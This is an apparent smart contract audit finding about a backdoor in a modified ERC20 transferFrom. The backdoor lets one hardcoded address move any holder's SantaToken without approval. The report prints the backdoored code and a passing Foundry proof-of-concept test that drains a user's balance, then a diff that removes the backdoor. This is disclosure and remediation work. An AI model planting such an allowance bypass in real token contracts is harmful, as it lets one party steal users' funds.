Summary
A particular address added by deployer can drain tokens from other users without the approval.
Vulnerability Details
SantaToken
is inherited from solmate-bad: ERC20
unlike the correct solmate ERC20
. Current ERC20 from which SantaToken
is inherited has vulnerability added by the creator (south pole contract elves
). Check the following snippet -
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
@> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
@> balanceOf[from] -= amount;
@> unchecked {
@> balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
The marked lines allows 0x815F577F1c1bcE213c012f166744937C889DAF17
to drain SantaToken
from any wallet and send to the wallet he wants. This makes Token useless.
Moreover comment on highlighted line confirm his intentions. if we go to https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
then click on click to see more
on arbitrum explorer.
You'll see a msg 0x4920616d20676f696e6720746f206861636b2053616e74617320546f6b656e21
If we convert it to UTF-8, it shows I am going to hack Santas Token!
POC
add following test in existing test suite.
function testEvilElveCanTransferAnybodyTokens() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
console2.log("User balance before attack", santaToken.balanceOf(user));
vm.stopPrank();
vm.startPrank(0x815F577F1c1bcE213c012f166744937C889DAF17);
santaToken.transferFrom(user, 0x815F577F1c1bcE213c012f166744937C889DAF17, 1e18);
vm.stopPrank();
console2.log("User balance after attack", santaToken.balanceOf(user));
console2.log("Evil elve balance after attack", santaToken.balanceOf(0x815F577F1c1bcE213c012f166744937C889DAF17));
}
run forge test --match-test testEvilElveCanTransferAnybodyTokens -vv
in your terminal and you'll see the following results.
[⠢] Compiling...
[⠊] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 1.74s
Compiler run successful!
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testEvilElveCanTransferAnybodyTokens() (gas: 203685)
Logs:
User balance before attack 1000000000000000000
User balance after attack 0
Evil elve balance after attack 1000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.66ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Users SantaTokens
will be drained by the 0x815F577F1c1bcE213c012f166744937C889DAF17
Tools Used
Foundry, Manual Review
Recommendations
Remove the vulnerable code as shown below.
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
- // hehehe :)
- // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}